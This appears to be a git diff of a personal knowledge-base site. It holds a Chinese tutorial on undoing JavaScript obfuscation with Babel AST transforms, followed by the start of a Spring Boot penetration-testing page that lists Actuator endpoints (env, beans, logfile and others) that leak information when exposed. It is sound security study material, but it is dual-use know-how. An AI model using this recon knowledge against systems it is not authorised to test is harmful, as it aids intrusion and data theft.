const code = `console['\u006c\u006f\u0067']('\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021')`

const ast = parser.parse(code)



const visitor = {

StringLiteral(path) {

// 以下方法均可

// path.node.extra.raw = path.node.rawValue

// path.node.extra.raw = '"' + path.node.value + '"'

// delete path.node.extra

delete path.node.extra.raw

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

还原结果:

+
console["log"]("Hello world!");
+

对象访问方式还原​

+

以前面的例子

+
console["log"]("Hello world!");
+

在JS中,属性的访问方式有两种,一种是以[]的方式,一种是.的方式,在使用个人开发中,普遍使用.的方式进行访问,

+

image-20250117094913357

+

image-20250117095910230

+

与.方式不同,可以看到多出了computed=true和property的类型发生了变化,我们只需要修改computed=flase和还原property的 类型即可即可还原。

+
const parser = require("@babel/parser");

const types = require("@babel/types");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `
console['log']('hello, world!');
`

const ast = parser.parse(code)



const visitor = {

MemberExpression(path){
if(path.node.computed){
path.node.computed = false
path.node.property = types.identifier("log");
debugger

}
}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)

+

表达式还原​

+

![] 可表示 false,!![] 或者 !+[] 可表示 true,在一些混淆代码中,经常有这些操作,把简单的表达式复杂化,往往需要执行一下语句,才能得到真正的结果,示例代码如下:

+
const a = !![]+!![]+!![];

const b = Math.floor(12.34 * 2.12)

const c = 10 >> 3 << 1

const d = String(21.3 + 14 * 1.32)

const e = parseInt("1.893" + "45.9088")

const f = parseFloat("23.2334" + "21.89112")

const g = 20 < 18 ? '未成年' : '成年'
+

想要执行语句,我们需要了解 path.evaluate() 方法,该方法会对 path 对象进行执行操作,自动计算出结果,返回一个对象,其中的 confident 属性表示置信度,value 表示计算结果,使用 types.valueToNode() 方法创建节点,使用 path.replaceInline() 方法将节点替换成计算结果生成的新节点,替换方法有一下几种:

+
    +
  • replaceWith:用一个节点替换另一个节点;
  • +
  • replaceWithMultiple:用多个节点替换另一个节点;
  • +
  • replaceWithSourceString:将传入的源码字符串解析成对应 Node 后再替换,性能较差,不建议使用;
  • +
  • replaceInline:用一个或多个节点替换另一个节点,相当于同时有了前两个函数的功能。
  • +
+

对应的 AST 处理代码如下:

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");





const code = `
const a = !![]+!![]+!![];
const b = Math.floor(12.34 * 2.12)
const c = 10 >> 3 << 1
const d = String(21.3 + 14 * 1.32)
const e = parseInt("1.893" + "45.9088")
const f = parseFloat("23.2334" + "21.89112")
const g = 20 < 18 ? '未成年' : '成年'
`;



const visitor = {
"BinaryExpression|CallExpression|ConditionalExpression"(path){
const {confident, value} = path.evaluate();
if (confident){
let node = types.valueToNode(value);
if (node.type === 'StringLiteral'){
node.extra = {
raw: `"${value}"`,
rawValue: `${value}`,
}
}
// console.log(node);
path.replaceInline(node)
}
},
}
const ast = parser.parse(code, {sourceType: "module"})
traverse(ast, visitor)
const result = generate(ast)
console.log(result.code)
+

最终结果:

+
const a = 3;
const b = 26;
const c = 2;
const d = "39.78";
const e = 1;
const f = 23.233421;
const g = "成年";
+

删除未使用变量​

+

有时候代码里会有一些并没有使用到的多余变量,删除这些多余变量有助于更加高效的分析代码,示例代码如下:

+
const a = 1;

const b = a * 2;

const c = 2;

const d = b + 1;

const e = 3;

console.log(d)
+

删除多余变量,首先要了解 NodePath 中的 scope,scope 的作用主要是查找标识符的作用域、获取并修改标识符的所有引用等,删除未使用变量主要用到了 scope.getBinding() 方法,传入的值是当前节点能够引用到的标识符名称,返回的关键属性有以下几个:

+
    +
  • identifier:标识符的 Node 对象;
  • +
  • path:标识符的 NodePath 对象;
  • +
  • constant:标识符是否为常量;
  • +
  • referenced:标识符是否被引用;
  • +
  • references:标识符被引用的次数;
  • +
  • constantViolations:如果标识符被修改,则会存放所有修改该标识符节点的 Path 对象;
  • +
  • referencePaths:如果标识符被引用,则会存放所有引用该标识符节点的 Path 对象。
  • +
+

所以我们可以通过 constantViolations、referenced、references、referencePaths 多个参数来判断变量是否可以被删除,AST 处理代码如下:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `

const a = 1;

const b = a * 2;

const c = 2;

const d = b + 1;

const e = 3;

console.log(d)

`

const ast = parser.parse(code)



const visitor = {

VariableDeclarator(path){

const binding = path.scope.getBinding(path.node.id.name);



// 如标识符被修改过,则不能进行删除动作。

if (!binding || binding.constantViolations.length > 0) {

return;

}



// 未被引用

if (!binding.referenced) {

path.remove();

}



// 被引用次数为0

// if (binding.references === 0) {

// path.remove();

// }



// 长度为0,变量没有被引用过

// if (binding.referencePaths.length === 0) {

// path.remove();

// }

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

处理后的代码(未使用的 b、c、e 变量已被删除):

+
const a = 1;

const b = a * 2;

const d = b + 1;

console.log(d);
+

删除冗余逻辑代码​

+

有时候为了增加逆向难度,会有很多嵌套的 if-else 语句,大量判断为假的冗余逻辑代码,同样可以利用 AST 将其删除掉,只留下判断为真的,示例代码如下:

+
const example = function () {

let a;

if (false) {

a = 1;

} else {

if (1) {

a = 2;

}

else {

a = 3;

}

}

return a;

};
+

观察 AST,判断条件对应的是 test 节点,if 对应的是 consequent 节点,else 对应的是 alternate 节点,如下图所示:

+

16

+

AST 处理思路以及代码:

+
    +
  1. 筛选出 BooleanLiteral 和 NumericLiteral 节点,取其对应的值,即 path.node.test.value;
  2. +
  3. 判断 value 值为真,则将节点替换成 consequent 节点下的内容,即 path.node.consequent.body;
  4. +
  5. 判断 value 值为假,则替换成 alternate 节点下的内容,即 path.node.alternate.body;
  6. +
  7. 有的 if 语句可能没有写 else,也就没有 alternate,所以这种情况下判断 value 值为假,则直接移除该节点,即 path.remove()
  8. +
+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default

const types = require('@babel/types');



const code = `

const example = function () {

let a;

if (false) {

a = 1;

} else {

if (1) {

a = 2;

}

else {

a = 3;

}

}

return a;

};

`

const ast = parser.parse(code)



const visitor = {

enter(path) {

if (types.isBooleanLiteral(path.node.test) || types.isNumericLiteral(path.node.test)) {

if (path.node.test.value) {

path.replaceInline(path.node.consequent.body);

} else {

if (path.node.alternate) {

path.replaceInline(path.node.alternate.body);

} else {

path.remove()

}

}

}

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

处理结果:

+
const example = function () {

let a;

a = 2;

return a;

};
+

花指令转二项式​

+

在有的代码中,原本的两项式,通过函数计算,被层层套娃。就像下面这样

+

img

+

一个简单的代码

+
function double_b64_decode(sss) {
return atob(atob(sss));
}

var Arr = ["Ykc5bg=="];

function _wYQm(j, k) {
return j - k;
}

function _sTFb(j, k) {
return j - k;
}

function _rSeS(j, k) {
return j + k;
}

function _EXMS(j, k) {
return j <= k;
}

function \u0064\u0069\u0067\u0075\u0069(\u006e) {
return \u005f\u0045\u0058\u004d\u0053(\u006e, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : \u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e, (846611 ^ 391233) - (844466 ^ 389603))), \u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e, (372786 ^ 381554) - (538795 ^ 547477))));
}

\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069 ^ 947940) - (417221 ^ 282372)])](\u0064\u0069\u0067\u0075\u0069((425420 ^ 179515) - (347329 ^ 101420)));

+

首先我们需要对\u0065转码,然而大部分编译器自动帮你处理这个unicode所以,你只需要拿去跑一遍,不需要做任何操作。

+

得到以下代码

+
function double_b64_decode(sss) {
return atob(atob(sss));
}
var Arr = ["Ykc5bg=="];
function _wYQm(j, k) {
return j - k;
}
function _sTFb(j, k) {
return j - k;
}
function _rSeS(j, k) {
return j + k;
}
function _EXMS(j, k) {
return j <= k;
}
function digui(n) {
return _EXMS(n, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : _rSeS(digui(_sTFb(n, (846611 ^ 391233) - (844466 ^ 389603))), digui(_wYQm(n, (372786 ^ 381554) - (538795 ^ 547477))));
}
console[double_b64_decode(Arr[(812069 ^ 947940) - (417221 ^ 282372)])](digui((425420 ^ 179515) - (347329 ^ 101420)));
+

接下来我们处理常数二项计算,在树状图中,可以看到这类被分为BinaryExpression类型

+

image-20250117102349713

+

那么我们只需要计算即可

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;
const ast = parser.parse(code, )
const visitor = {

BinaryExpression(path) {
const {confident, value} = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},

}
traverse(ast, visitor);
const result = generate(ast);
console.log(result.code);
// output:
// function double_b64_decode(sss) {
// return atob(atob(sss));
// }
// var Arr = ["Ykc5bg=="];
// function _wYQm(j, k) {
// return j - k;
// }
// function _sTFb(j, k) {
// return j - k;
// }
// function _rSeS(j, k) {
// return j + k;
// }
// function _EXMS(j, k) {
// return j <= k;
// }
// function digui(n) {
// return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));
// }
// console[double_b64_decode(Arr[0])](digui(10));
+

可以看到有个double_b64_decode 函数对Arr[0]进行了处理,那么我们需要对这个CallExpression替换成double_b64_decode(Arr[0])计算出的字符串

+

image-20250117103330075

+

然而这里有难点就是,进入CallExpression时,BinaryExpression类型还没有计算.

+

image-20250117104929238

+

为此我们有两种方法,

+
    +
  • 第一种:使用enter在所有节点进入前,对BinaryExpression进行计算
  • +
  • 第二种,分批次进行计算(对生成的代码多写几次traverse(ast, visitor);)
  • +
+

这里我们采用第第二种,分阶段运行。在第一阶段的代码下面新增处理CallExpression的逻辑

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});
const result = generate(ast);
console.log(result.code);

+

结果

+
function _wYQm(j, k) {
return j - k;
}
function _sTFb(j, k) {
return j - k;
}
function _rSeS(j, k) {
return j + k;
}
function _EXMS(j, k) {
return j <= k;
}
function digui(n) {
return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));
}
console["log"](digui(10));
+

第三阶段,处理一下对象访问方式

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})




const result = generate(ast);
console.log(result.code);

+

第四阶段,将花指令函数替换成二项式

+

二项式 有三部分构成left、operator、right

+

image-20250117111820315

+

对出现的CallExpression为花指令的函数进行替换

+

image-20250117111942151

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const {binaryExpression} = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})

// 第四阶段:替换所有出现的花指令函数调用,并同时函数节点
traverse(ast, {
CallExpression(path) {
const callee = path.node.callee;

if (/^_/.test(callee.name)) {
const functionName = callee.name;
const functionBind = path.scope.getBinding(functionName);
if (functionBind) {

const left = path.node.arguments[0];
const right = path.node.arguments[1];
const operator = functionBind.path.node.body.body[0].argument.operator;
const binaryExpression = types.binaryExpression(operator, left, right);
path.replaceInline(binaryExpression);


functionBind.path.remove();
}

}
}
})


const result = generate(ast);
console.log(result.code);

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const {binaryExpression} = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})

// 第四阶段:替换所有出现的花指令函数调用,并同时函数节点
traverse(ast, {
CallExpression(path) {
const callee = path.node.callee;

if (/^_/.test(callee.name)) {
const functionName = callee.name;
const functionBind = path.scope.getBinding(functionName);
if (functionBind) {

const left = path.node.arguments[0];
const right = path.node.arguments[1];
const operator = functionBind.path.node.body.body[0].argument.operator;
const binaryExpression = types.binaryExpression(operator, left, right);
path.replaceInline(binaryExpression);


functionBind.path.remove();
}

}
}
})


const result = generate(ast);
console.log(result.code);

+

switch-case 控制流平坦化​

+

控制流平坦化是混淆当中最常见的,通过 if-else 或者 while-switch-case 语句分解步骤,示例代码:

+
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
while (true) {
switch (lineOrder[lineIndex]) {
case "5":
key = CryptoJS.enc.Utf8.parse('1234567890123456');


case "8":
key = CryptoJS.lib.WordArray.random(16);

case "9":
key = CryptoJS.enc.Utf8.parse('454583r342342445');


case "2":
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "0":
iv = CryptoJS.lib.WordArray.random(16);
case "6":
iv = CryptoJS.enc.Utf8.parse('1234567890123456');


case "10":
iv = CryptoJS.enc.Utf8.parse('454583r342342445');


case "1":
iv = CryptoJS.lib.WordArray.random(16);
case "7":
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "4":
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
case "3":
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
lineIndex++;
}
}
console.log(aesEncrypt('1234567890123456'));
+

AST 还原思路:

+
    +
  1. 获取控制流原始数组,将 '3,4,0,5,1,2'['split'](',') 之类的语句转化成 ['3','4','0','5','1','2'] 之类的数组,得到该数组之后,也可以选择把 split 语句对应的节点删除掉,因为最终代码里这条语句就没用了;
  2. +
  3. 遍历第一步得到的控制流数组,依次取出每个值所对应的 case 节点;
  4. +
  5. 定义一个数组,储存每个 case 节点 consequent 数组里面的内容,并删除 continue 语句对应的节点;
  6. +
  7. 遍历完成后,将第三步的数组替换掉整个 while 节点,也就是 WhileStatement。
  8. +
+

不同思路,写法多样,对于如何获取控制流数组,可以有以下思路:

+
    +
  1. 获取到 While 语句节点,然后使用 path.getAllPrevSiblings() 方法获取其前面的所有兄弟节点,遍历每个兄弟节点,找到与 switch() 里面数组的变量名相同的节点,然后再取节点的值进行后续处理;
  2. +
  3. 直接取 switch() 里面数组的变量名,然后使用 scope.getBinding() 方法获取到它绑定的节点,然后再取这个节点的值进行后续处理。
  4. +
+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default

const types = require("@babel/types")

const fs = require("fs");



const code = `
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
while (true) {
switch (lineOrder[lineIndex]) {
case "5":
key = CryptoJS.enc.Utf8.parse('1234567890123456');


case "8":
key = CryptoJS.lib.WordArray.random(16);

case "9":
key = CryptoJS.enc.Utf8.parse('454583r342342445');


case "2":
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "0":
iv = CryptoJS.lib.WordArray.random(16);
case "6":
iv = CryptoJS.enc.Utf8.parse('1234567890123456');


case "10":
iv = CryptoJS.enc.Utf8.parse('454583r342342445');


case "1":
iv = CryptoJS.lib.WordArray.random(16);
case "7":
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "4":
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
case "3":
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
lineIndex++;
}
}
console.log(aesEncrypt('1234567890123456'));

`;

const ast = parser.parse(code)



const visitor = {

WhileStatement(path) {



let switchNode = path.node.body.body[0];



let arrayName = switchNode.discriminant.object.name;

// 获取控制流数组绑定的节点

let bindingArray = path.scope.getBinding(arrayName);
let arrayNode = bindingArray.path.node;
let array = arrayNode.init.elements;
array = array.map((item) => item.value);

// 储存正确顺序的控制流语句

let replace = [];

// 遍历控制流数组,按正确顺序取 case 内容

array.forEach(index => {


const a =switchNode.cases.find((item) => item.test.value === index);
let consequent = a.consequent;

// 如果最后一个节点是 continue 语句,则删除 ContinueStatement 节点

if (types.isContinueStatement(consequent[consequent.length - 1])) {

consequent.pop();

}

// concat 方法拼接多个数组,即正确顺序的 case 内容

replace = replace.concat(consequent);

}

);

// 替换整个 while 节点,两种方法都可以

path.replaceWithMultiple(replace);

// path.replaceInline(replace);

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)

+

以上代码运行后,原来的 switch-case 控制流就被还原了,变成了按顺序一行一行的代码,更加简洁明了:

+
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
key = CryptoJS.enc.Utf8.parse('1234567890123456');
key = CryptoJS.lib.WordArray.random(16);
key = CryptoJS.enc.Utf8.parse('454583r342342445');
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
iv = CryptoJS.lib.WordArray.random(16);
iv = CryptoJS.enc.Utf8.parse('1234567890123456');
iv = CryptoJS.enc.Utf8.parse('454583r342342445');
iv = CryptoJS.lib.WordArray.random(16);
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
console.log(aesEncrypt('1234567890123456'));
+

参考资料​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html b/en/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html new file mode 100644 index 0000000..8cea2aa --- /dev/null +++ b/en/docs/个人知识库/渗透测试/渗透手法/SpringBoot渗透/index.html @@ -0,0 +1,201 @@ + + + + + +SpringBoot渗透 | wjlin0 + + + + + + + +

SpringBoot渗透

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:10
+

SpringBoot渗透

+
+

日常渗透过程中,经常会碰到SpringBoot搭建的微服务(API居多),针对性的做了一个总结。

+
+

Springboot的确定还是很好确定的,它的出错一般长这样,碰到这个大致就是springboot了

+

image-20240124004206952

+

Actuator​

+

Actuator是SpringBoot项目中一个非常强大一个功能,有助于对应用程序进行监视和管理,通过restful api请求来监管、审计、收集应用的运行情况。

+

Actuator的核心是端点Endpoint,它用来监视应用程序及交互,spring-boot-actuator中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。

+

每个Endpoint都可以启用和禁用。要远程访问Endpoint,还必须通过JMX或HTTP进行暴露,大部分应用选择HTTP,Endpoint 的ID默认映射到一个带/actuator前缀的URL。例如,health端点默认映射到/actuator/health。

+

Endpoint端点介绍​

+

Actuator的核心就是Endpoint,每一个Endpoint都代表着监控某一项数据。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
端点描述
auditevents获取当前应用暴露的审计事件信息
beans获取应用中所有的 Spring Beans 的完整关系列表
caches获取公开可以用的缓存
conditions获取自动配置条件信息,记录哪些自动配置条件通过和没通过的原因
configprops获取所有配置属性,包括默认配置,显示一个所有 @ConfigurationProperties 的整理列版本
env获取所有环境变量
flyway获取已应用的所有Flyway数据库迁移信息,需要一个或多个 Flyway Bean
liquibase获取已应用的所有Liquibase数据库迁移。需要一个或多个 Liquibase Bean
health获取应用程序健康指标(运行状况信息)
httptrace获取HTTP跟踪信息(默认情况下,最近100个HTTP请求-响应交换)。需要 HttpTraceRepository Bean
info获取应用程序信息
integrationgraph显示 Spring Integration 图。需要依赖 spring-integration-core
loggers显示和修改应用程序中日志的配置
logfile返回日志文件的内容(如果已设置logging.file.name或logging.file.path属性)
